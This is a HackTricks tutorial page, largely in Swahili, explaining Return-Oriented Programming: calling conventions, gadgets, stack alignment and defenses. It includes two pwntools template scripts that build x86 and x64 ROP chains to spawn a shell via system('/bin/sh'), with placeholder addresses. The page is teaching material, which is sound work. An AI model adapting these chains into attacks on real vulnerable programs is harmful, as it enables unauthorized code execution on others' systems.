ROP - Return Oriented Programing
Reading time: 9 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Basic Information
Return-Oriented Programming (ROP) ni mbinu ya juu ya unyakuzi inayotumika kukwepa hatua za usalama kama No-Execute (NX) au Data Execution Prevention (DEP). Badala ya kuingiza na kutekeleza shellcode, mshambuliaji anatumia vipande vya msimbo vilivyopo tayari katika binary au katika maktaba zilizopakiwa, vinavyojulikana kama "gadgets". Kila gadget kwa kawaida huishia na amri ya ret
na inatekeleza operesheni ndogo, kama vile kuhamasisha data kati ya register au kufanya operesheni za hesabu. Kwa kuunganisha gadgets hizi pamoja, mshambuliaji anaweza kujenga payload ili kufanya operesheni zisizo na mipaka, kwa ufanisi akikwepa ulinzi wa NX/DEP.
How ROP Works
- Control Flow Hijacking: Kwanza, mshambuliaji anahitaji kukamata mtiririko wa udhibiti wa programu, kwa kawaida kwa kutumia udhaifu wa buffer overflow ili kuandika anwani ya kurudi iliyohifadhiwa kwenye stack.
- Gadget Chaining: Mshambuliaji kisha anachagua kwa makini na kuunganisha gadgets ili kufanya vitendo vinavyotakiwa. Hii inaweza kujumuisha kuandaa hoja za wito wa kazi, kuita kazi hiyo (kwa mfano,
system("/bin/sh")
), na kushughulikia usafishaji wowote unaohitajika au operesheni za ziada. - Payload Execution: Wakati kazi iliyo hatarini inaporudi, badala ya kurudi kwenye eneo halali, inaanza kutekeleza mnyororo wa gadgets.
Tools
Kwa kawaida, gadgets zinaweza kupatikana kwa kutumia ROPgadget, ropper au moja kwa moja kutoka pwntools (ROP).
ROP Chain in x86 Example
x86 (32-bit) Calling conventions
- cdecl: Mtu anayeita anasafisha stack. Hoja za kazi zinawekwa kwenye stack kwa mpangilio wa kinyume (kulia-kushoto). Hoja zinawekwa kwenye stack kutoka kulia kwenda kushoto.
- stdcall: Inafanana na cdecl, lakini mtu anayeitwa ndiye anayehusika na kusafisha stack.
Finding Gadgets
Kwanza, hebu tuweke dhana kwamba tumetambua gadgets zinazohitajika ndani ya binary au maktaba zake zilizopakiwa. Gadgets tunazovutiwa nazo ni:
pop eax; ret
: Gadget hii inachukua thamani ya juu ya stack na kuhamasisha kwenye register yaEAX
na kisha inarudi, ikitupa udhibiti waEAX
.pop ebx; ret
: Inafanana na ile ya juu, lakini kwa register yaEBX
, ikiruhusu udhibiti waEBX
.mov [ebx], eax; ret
: Inahamisha thamani katikaEAX
kwenda kwenye eneo la kumbukumbu linaloonyeshwa naEBX
na kisha inarudi. Hii mara nyingi inaitwa write-what-where gadget.- Zaidi ya hayo, tuna anwani ya kazi ya
system()
inapatikana.
ROP Chain
Kwa kutumia pwntools, tunaandaa stack kwa ajili ya utekelezaji wa mnyororo wa ROP kama ifuatavyo tukilenga kutekeleza system('/bin/sh')
, angalia jinsi mnyororo unavyoanza na:
- Amri ya
ret
kwa ajili ya kusawazisha (hiari) - Anwani ya kazi ya
system
(tukidhani ASLR imezimwa na libc inajulikana, maelezo zaidi katika Ret2lib) - Mahali pa kurudi kutoka
system()
- Anwani ya string
"/bin/sh"
(hoja kwa kazi ya system)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
ROP Chain in x64 Example
x64 (64-bit) Calling conventions
- Uses the System V AMD64 ABI calling convention on Unix-like systems, where the first six integer or pointer arguments are passed in the registers
RDI
,RSI
,RDX
,RCX
,R8
, andR9
. Additional arguments are passed on the stack. The return value is placed inRAX
. - Windows x64 calling convention uses
RCX
,RDX
,R8
, andR9
for the first four integer or pointer arguments, with additional arguments passed on the stack. The return value is placed inRAX
. - Registers: 64-bit registers include
RAX
,RBX
,RCX
,RDX
,RSI
,RDI
,RBP
,RSP
, andR8
toR15
.
Finding Gadgets
Kwa madhumuni yetu, hebu tuzingatie gadgets ambazo zitaturuhusu kuweka register ya RDI (kutoa string ya "/bin/sh" kama hoja kwa system()) na kisha kuita kazi ya system(). Tutadhani tumetambua gadgets zifuatazo:
- pop rdi; ret: Inachukua thamani ya juu ya stack na kuiweka kwenye RDI na kisha inarudi. Muhimu kwa kuweka hoja yetu kwa system().
- ret: Kurudi rahisi, muhimu kwa usawa wa stack katika hali fulani.
Na tunajua anwani ya kazi ya system().
ROP Chain
Below is an example using pwntools to set up and execute a ROP chain aiming to execute system('/bin/sh') on x64:
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
Katika mfano huu:
- Tunatumia gadget ya
pop rdi; ret
kuwekaRDI
kwenye anwani ya"/bin/sh"
. - Tunaruka moja kwa moja kwenye
system()
baada ya kuwekaRDI
, na anwani ya system() katika mnyororo. ret_gadget
inatumika kwa ajili ya usawa ikiwa mazingira ya lengo yanahitaji hivyo, ambayo ni ya kawaida zaidi katika x64 ili kuhakikisha usawa sahihi wa stack kabla ya kuita kazi.
Usawa wa Stack
The x86-64 ABI inahakikisha kwamba stack inakuwa na usawa wa byte 16 wakati amri ya call inatekelezwa. LIBC, ili kuboresha utendaji, inatumia amri za SSE (kama movaps) ambazo zinahitaji usawa huu. Ikiwa stack haijawa na usawa sahihi (kumanisha RSP si mara kadhaa ya 16), kuita kazi kama system kutashindwa katika ROP chain. Ili kurekebisha hili, ongeza tu ret gadget kabla ya kuita system katika mnyororo wako wa ROP.
Tofauti kuu kati ya x86 na x64
tip
Kwa sababu x64 inatumia register kwa ajili ya hoja chache za kwanza, mara nyingi inahitaji gadgets chache zaidi kuliko x86 kwa ajili ya kuita kazi rahisi, lakini kupata na kuunganisha gadgets sahihi kunaweza kuwa ngumu zaidi kutokana na kuongezeka kwa idadi ya register na nafasi kubwa ya anwani. Kuongezeka kwa idadi ya register na nafasi kubwa ya anwani katika usanifu wa x64 kunatoa fursa na changamoto kwa maendeleo ya exploit, hasa katika muktadha wa Return-Oriented Programming (ROP).
Mfano wa ROP chain katika ARM64
Misingi ya ARM64 & Mikataba ya Kuita
Angalia ukurasa ufuatao kwa habari hii:
{{#ref}} ../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}}
Ulinzi Dhidi ya ROP
- ASLR & PIE: Ulinzi huu unafanya kuwa ngumu kutumia ROP kwani anwani za gadgets hubadilika kati ya utekelezaji.
- Stack Canaries: Katika BOF, inahitajika kupita hifadhi ya stack canary ili kuandika tena viashiria vya kurudi ili kutumia mnyororo wa ROP.
- Ukosefu wa Gadgets: Ikiwa hakuna gadgets za kutosha, haitakuwa rahisi kuunda mnyororo wa ROP.
Mbinu za msingi za ROP
Kumbuka kwamba ROP ni mbinu tu ya kutekeleza msimbo usio na mipaka. Kulingana na ROP, mbinu nyingi za Ret2XXX zilikuwa zimeendelezwa:
- Ret2lib: Tumia ROP kuita kazi zisizo na mipaka kutoka kwa maktaba iliyopakiwa na vigezo vya kiholela (kawaida kitu kama
system('/bin/sh')
.
{{#ref}} ret2lib/ {{#endref}}
- Ret2Syscall: Tumia ROP kuandaa wito kwa syscall, e.g.
execve
, na kufanya itekeleze amri zisizo na mipaka.
{{#ref}} rop-syscall-execv/ {{#endref}}
- EBP2Ret & EBP Chaining: Ya kwanza itatumia EBP badala ya EIP kudhibiti mtiririko na ya pili ni sawa na Ret2lib lakini katika kesi hii mtiririko unadhibitiwa hasa na anwani za EBP (ingawa pia inahitajika kudhibiti EIP).
{{#ref}} ../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md {{#endref}}
Mifano Mingine & Marejeleo
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64 bit, Pie na nx zimewezeshwa, hakuna canary, andika RIP na anwani ya
vsyscall
kwa kusudi la kurudi kwenye anwani inayofuata kwenye stack ambayo itakuwa ni kuandika sehemu ya anwani ili kupata sehemu ya kazi inayovuja bendera - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, hakuna ASLR, ROP gadget ili kufanya stack iweze kutekelezwa na kuruka kwenye shellcode katika stack
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.